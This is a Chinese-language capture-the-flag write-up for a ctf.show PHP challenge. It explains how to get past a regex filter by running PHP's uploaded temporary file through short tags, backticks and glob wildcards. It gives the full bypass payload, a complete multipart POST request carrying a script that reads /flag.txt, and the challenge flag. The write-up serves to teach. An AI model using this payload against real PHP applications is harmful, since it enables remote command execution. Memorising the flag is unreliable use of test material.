f12有提示
发送get包?cmd=ls,出现代码
这里有两个正则表达式,理解一下
preg_match("/[A-Za-oq-z0-9$]+/",$cmd) 检查$cmd
中是否包含至少一个 "大写字母、除 p 外的小写字母、数字或美元符号"。
preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd) 使用|
分隔多个需要匹配的字符,相当于 "或" 的关系。在正则表达式中,某些字符(如*
、(
、)
、[
、]
等)本身具有特殊含义,所以这里使用反斜杠\
进行了转义,让它们仅表示字符本身。
我们传什么参呢?
了解一下标签
在php中,<? ?>称为短标签,<?php ?>称为长标签。修改PHP.ini文件配置 short_open_tag = On 才可使用短标签。php5.4.0以后, <?= 总是可代替 <? echo。
+代表空格
URL编码中空格为%20,+表示为%2B。然而url中+也可以表示空格,要表示+号必须得用%2B。
Linux下的glob通配符
*
可以代替0个及以上任意字符?
可以代表1个任意字符
临时文件
在php中,使用Content-Type: multipart/form-data;
上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir
参数为保存临时文件的路经,linux下面默认为/tmp
。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。
思路就是上传文件生成临时文件,将真正想要执行的函数放到临时文件中,然后利用eval函数进行执行临时文件。
cmd=?><?=`.+/??p/p?p??????`
?>
:闭合前面的<?php
命令
<?=
:相当于<?php echo
反引号:执行命令
.
相当于source
命令
+
:相当于空格
?
:文字通配符,负责执行上传的临时文件
构造payload
Content-Type
Content-Type有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对
②multipart/form-data:上传文件
boundary
boundary为边界分隔符
文件开始标记:-----------------------------10242300956292313528205888
文件结束标记:-----------------------------10242300956292313528205888--
其中10242300956292313528205888是浏览器随机生成的,只要足够复杂就可以。
文件内容
#! /bin/sh 指定命令解释器,#!是一个特殊的表示符,其后,跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,如:sh,csh,ksh,tcsh。首先用命令ls / 来查看服务器根目录有哪些文件,发现有flag.txt,然后再用cat /flag.txt 即可。
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 46793251-bac3-4fb9-b4a1-bce2ca80a987.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,en-GB-oxendict;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Content-Length: 246
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
cat /flag.txt
-----------------------------10242300956292313528205888--
拿到flag
ctfshow{3bde0436-5268-4020-a973-5d261f3fce22}